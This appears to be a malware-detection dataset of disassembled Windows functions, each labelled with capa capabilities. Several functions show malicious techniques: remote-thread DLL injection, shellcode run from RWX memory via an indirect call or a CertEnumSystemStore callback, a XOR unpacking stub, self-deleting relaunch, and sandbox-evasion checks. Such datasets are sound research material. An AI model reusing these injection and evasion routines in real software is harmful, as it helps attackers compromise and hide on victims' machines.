joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Authenticate hmac
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
rcr edi, 0xe4
neg eax
sub eax, 0xd6
mov esi, pe_nt_image_headers32
not edx
ror edi, 0xef
imul edi
and edi, 0x1c
inc esi
or esi, 0xa7
not edx
ror edx, 0x44
imul ebx
sbb edx, 0x93
mov esi, 0x32
rol edi, 0xa2
dec ebx
inc eax
add eax, 0xe
imul edi
neg edx
rcr ebx, 0xe5
bswap eax
dec edx
add edi, 0xf8
and eax, 0xcb
not eax
inc ebx
rcr ebx, 0x59
sbb ebx, 0xce
dec esi
ror ebx, 0xb
add edx, 0x3d
imul esi
bswap edx
mov edx, 0xaa
inc ebx
mov edx, 0xfb
sub edi, 0x8c
dec ebx
ror ebx, 0x63
rcr ebx, 0x14
ror ebx, 0x1f
dec edx
and eax, 0x62
rol ebx, 0x4e
bswap eax
mov eax, 0xfc
not edi
neg edx
xor ecx, ecx
xor edi, edi
or esi, 0xf
rol edi, 0xd9
and edx, 0xcd
rol esi, 0x36
rcl eax, 0xd8
mov esi, 0x8b
or esi, 0x65
neg esi
not eax
dec edi
ror edx, 0x6a
rcl ebx, 0x97
rcr ebx, 0x5c
and eax, 0x71
rol esi, 0x83
sub edx, 0x77
imul ebx
ror edi, 0x5c
rcl eax, 0x9b
neg edi
rcl edi, 0x64
rcl esi, 0xad
and edi, 0xbb
sbb esi, 0x9c
rcr eax, 0x13
dec esi
mov ebx, 0xdf
and esi, 0x7a
sbb edx, 0x49
dec edx
inc edi
and eax, 0xc
rol edx, 6
bswap ebx
imul edi
imul ebx
imul ebx
ror eax, 0x8a
rcr eax, 0x14
imul edi
bswap edi
rcr eax, 0xe
not ebx
bswap edx
bswap eax
dec eax
sub ebx, 0x33
dec ebx
inc edx
imul edi
mov ecx, dword [ebp + 0xc]
or ebx, 0x98
imul edi
and ebx, 0x33
mov esi, 0xf4
rol edx, 0xec
dec eax
ror eax, 0xe5
mov ebx, 0xe3
rcr edi, 0x68
ror ebx, 0x9e
sbb edx, 0x60
rcl edx, 0x25
sbb edx, 0xd5
not ebx
bswap ebx
add edi, 0x9d
rcl esi, 0x31
bswap eax
neg eax
ror edx, 0x5a
mov ebx, 0x12
add edi, 0xbe
rcr edx, 0x62
bswap eax
or esi, 0x49
rol edi, 0x25
rol eax, 0x9a
ror edx, 0xab
add edx, 0x37
and eax, 0xcc
rcr edx, 0x9e
rol edx, 0x1c
rcr eax, 0x4e
bswap esi
or esi, 0x6a
add esi, 0x81
mov eax, 0x5c
ror eax, 0xc7
ror edx, 0xa9
inc esi
not eax
rcr edi, 0xe8
rcr edi, 0xac
and edx, 0xc3
dec esi
rol eax, 0xb2
inc eax
sub eax, 0x3f
or edx, 0x22
imul ebx
mov edi, dword [ebp + 8]
mov eax, esi
mov eax, esi
mov eax, ebx
mov eax, eax
xor eax, esi
xor eax, esi
xor esi, ebx
xor eax, ebx
xor ebx, eax
xor ebx, eax
mov esi, esi
xor ebx, ebx
not byte [edi]
mov eax, eax
xor ebx, eax
mov esi, eax
mov ebx, ebx
mov ebx, esi
mov eax, ebx
xor esi, eax
xor ebx, eax
mov eax, esi
sub byte [edi], 0x67
mov ebx, ebx
xor esi, eax
xor ebx, ebx
xor esi, eax
mov eax, ebx
xor ebx, ebx
xor eax, esi
xor ebx, ebx
xor esi, ebx
add byte [edi], 0x84
xor eax, esi
xor eax, esi
xor esi, ebx
mov esi, esi
mov eax, esi
xor eax, ebx
xor ebx, eax
mov eax, ebx
mov ebx, ebx
imul byte [edi]
inc edi
loop 0x4011d1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x403353
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402249
and dword [ebp - 4], 0
cmp dword [0x45f0b0], 0
mov ebx, eax
jne 0x403404
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4034b5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40a8d0
push edi
call esi
test eax, eax
je 0x4034b5
push eax
call fcn.004021d7
mov dword [esp], 0x40a8c0
push edi
mov dword [0x45f0b0], eax
call esi
push eax
call fcn.004021d7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45f0b4], eax
call esi
push eax
call fcn.004021d7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45f0b8], eax
call esi
push eax
call fcn.004021d7
pop ecx
mov dword [0x45f0c0], eax
test eax, eax
je 0x403404
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004021d7
pop ecx
mov dword [0x45f0bc], eax
mov eax, dword [0x45f0bc]
cmp eax, ebx
je 0x40345c
cmp dword [0x45f0c0], ebx
je 0x40345c
push eax
call fcn.00402252
push dword [0x45f0c0]
mov esi, eax
call fcn.00402252
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40345c
test edi, edi
je 0x40345c
call esi
test eax, eax
je 0x403453
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403453
test byte [ebp - 0xc], 1
jne 0x40345c
or dword [ebp + 0x10], 0x200000
jmp 0x403495
mov eax, dword [0x45f0b4]
cmp eax, ebx
je 0x403495
push eax
call fcn.00402252
pop ecx
test eax, eax
je 0x403495
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x403495
mov eax, dword [0x45f0b8]
cmp eax, ebx
je 0x403495
push eax
call fcn.00402252
pop ecx
test eax, eax
je 0x403495
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45f0b0]
call fcn.00402252
pop ecx
test eax, eax
je 0x4034b5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4034b7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4051be
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45e7f8]
jne 0x4051c8
repz ret
jmp fcn.004068e5
Function at 0x4014a1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
movzx eax, word [ebp - 0x30]
movzx eax, ax
cmp eax, 6
je 0x4014f6
cmp eax, 9
je 0x4014cc
test eax, eax
je 0x4014e1
jmp 0x40150b
mov dword [esp], str.64_bit_Intel_CPU
call sym._puts
mov dword [ebp - 0xc], 1
jmp 0x40151f
mov dword [esp], str.32_bit_Intel_CPU
call sym._puts
mov dword [ebp - 0xc], 1
jmp 0x40151f
mov dword [esp], str.Intel_Itanium_Processor
call sym._puts
mov dword [ebp - 0xc], 1
jmp 0x40151f
mov dword [esp], str.Unknown_architecture
call sym._puts
mov dword [ebp - 0xc], 0
nop
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x401524
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetCurrentDirectoryA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401569
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetCurrentDirectory_failed___d__n
call sym._printf
jmp 0x4015fd
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], str.Current_directory_is__s_n
call sym._printf
mov dword [esp], 0x40611a
call sym._SetCurrentDirectoryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4015ae
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.SetCurrentDirectory_failed___d__n
call sym._printf
jmp 0x4015fd
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0x104
call sym._GetCurrentDirectoryA_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4015e7
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetCurrentDirectory_failed___d__n
call sym._printf
jmp 0x4015fd
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], str.Current_directory_is__s_n
call sym._printf
leave
ret

Function at 0x401613
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x401630
cmp eax, 1
jb 0x40166b
cmp eax, 2
je 0x40166e
cmp eax, 3
jmp 0x40166f
lea eax, [ebp - 0x10]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._ThreadProc_4
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0xc], eax
jmp 0x40166f
nop
jmp 0x40166f
nop
mov eax, 1
leave
ret 0xc
Function at 0x4016e6
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._atoi
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 0xc], pe_overlay
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x401853
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x401897
add dword [ebp + 0xc], 1
jmp 0x401866
nop
mov eax, dword [ebp - 0x10]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._strlen
leave
ret

Function at 0x4019cb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret
Function at 0x401a32
Capabilities:
Create process on windows
Create process suspended
Delete file

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x194
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea edx, [ebp - 0x150]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x150], 0x44
lea eax, [ebp - 0x160]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x150]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, dword [ebp - 0x15c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp], 0x3e8
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x402390
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x4023db
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4023d4
test esi, esi
je 0x4023d4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4023b0
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4025c0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402610
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4026e8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40264e
cmp eax, 4
jne 0x402670
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40265e
cmp edx, 4
je 0x40265e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004025c0
Function at 0x4032a0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405258], eax
mov dword [0x4051e0], 0x402b80
mov dword [0x4051dc], 2
jmp 0x4032d0
mov dword [0x4051e4], 0
mov dword [0x4051e8], 0
mov dword [0x4051d8], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051ec], eax
mov dword [0x405200], 0x404080
mov dword [0x4051f8], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051f0], eax
mov dword [0x405204], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051f4], eax
push 0x4051d8
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405250], eax
push 5
push dword [0x405250]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405250]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x4033a3
push 0
push 0
push 0
push 0x405208
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x4033d0
push 0x405208
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x405208
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x4033a3
mov eax, dword [0x405210]
jmp 0x4033dd
call 0x402474
ret

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push 0x5040d1
push 0x504088
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.USER32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.USER32.dll_GetMessageA]
or eax, eax
je 0x503c97
push 0x505248
call dword [sym.imp.USER32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x503c6a
mov eax, dword [0x505250]
jmp 0x503ca4
call 0x502b16
ret
Function at 0x468b3c
Capabilities:
Get common file path
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004689b3

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4025dd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x40263c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x402634
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x402634
mov eax, dword [ebp - 4]
jmp 0x402650
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x402611
mov eax, 0
leave
ret

Function at 0x402ae4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push edi
push esi
sub esp, 0x14
mov dword [esp], str.KERNEL32.DLL
mov esi, dword [esp + 0x20]
call sub.KERNEL32.dll_GetModuleHandleW
push edx
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
push ecx
push ecx
mov edx, dword [esp + 0x24]
mov dword [esp + 0xc], 0x40
mov dword [esp + 4], edx
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call eax
sub esp, 0x10
mov edi, eax
mov ecx, dword [esp + 0x24]
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x10000
call dword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
sub esp, 0x10
add esp, 0x14
pop esi
pop edi
ret
Function at 0x402bd4
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x3c
lea esi, [esp + 0x20]
mov dword [esp + 0xc], 0
mov edi, dword [esp + 0x50]
mov dword [esp + 0x10], esi
mov eax, dword [0x407040]
mov dword [esp + 0x2c], eax
xor eax, eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [esp + 0x20], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
cmp eax, 0x6f
jne 0x402cc1
mov eax, dword [esp + 0x20]
mov dword [esp], 0x40
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
push ecx
push ecx
test eax, eax
je 0x402cc1
mov dword [esp + 0x10], esi
mov esi, ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
sub esp, 0x14
lea ebp, [esp + 0x26]
cmp dword [esi + 0x34], 6
jne 0x402cb0
mov eax, dword [esi + 0x2c]
mov dword [esp + 0x26], eax
mov ax, word [esi + 0x30]
mov dword [esp + 8], 3
mov dword [esp + 4], ebp
mov dword [esp], edi
mov word [esp + 0x2a], ax
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x402cb0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
push edx
jmp 0x402cc3
mov esi, dword [esi + 8]
test esi, esi
jne 0x402c74
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push eax
xor eax, eax
mov edx, dword [esp + 0x2c]
sub edx, dword [0x407040]
je 0x402cd4
call fcn.00401770
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402d70
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebx
sub esp, 0x38
mov ebx, dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [0x407040]
mov dword [esp + 0x2c], eax
xor eax, eax
lea eax, [esp + 0x1c]
mov dword [esp], eax
call ebx
push eax
mov dword [esp], 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push edx
lea eax, [esp + 0x24]
mov dword [esp], eax
call ebx
xor eax, eax
push ecx
mov edx, dword [esp + 0x24]
cmp dword [esp + 0x1c], edx
jne 0x402dbe
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x20], eax
sete al
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x407040]
je 0x402dcf
call fcn.00401770
add esp, 0x38
pop ebx
ret

Function at 0x402dd4
Capabilities:
Enumerate processes

Disassembly:
push edi
push esi
push ebx
sub esp, 0x140
mov dword [esp + 4], 0
mov edi, dword [esp + 0x150]
mov eax, dword [0x407040]
mov dword [esp + 0x13c], eax
xor eax, eax
mov dword [esp], 2
mov dword [esp + 0x14], 0x22c
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push ecx
mov ebx, eax
push ecx
lea esi, [esp + 0x14]
mov dword [esp], eax
mov dword [esp + 4], esi
call sub.KERNEL32.dll_Process32First
push edx
push edx
test eax, eax
jne 0x402e2c
xor eax, eax
jmp 0x402e56
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.KERNEL32.dll_Process32Next
push edx
push edx
test eax, eax
je 0x402e28
lea eax, [esp + 0x38]
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x402e2c
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x13c]
sub edx, dword [0x407040]
je 0x402e6a
call fcn.00401770
add esp, 0x140
pop ebx
pop esi
pop edi
ret
Function at 0x402e74
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x4c
mov eax, dword [0x407040]
mov dword [esp + 0x3c], eax
xor eax, eax
lea eax, [esp + 0x18]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push eax
cmp dword [esp + 0x2c], 1
setbe al
mov edx, dword [esp + 0x3c]
sub edx, dword [0x407040]
je 0x402ea9
call fcn.00401770
add esp, 0x4c
ret

Function at 0x402f28
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x6c
mov eax, dword [0x407040]
mov dword [esp + 0x5c], eax
xor eax, eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x40
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push eax
mov eax, 0x7fffffff
cmp eax, dword [esp + 0x20]
mov eax, 0
sbb eax, dword [esp + 0x24]
setae al
mov edx, dword [esp + 0x5c]
sub edx, dword [0x407040]
je 0x402f72
call fcn.00401770
add esp, 0x6c
ret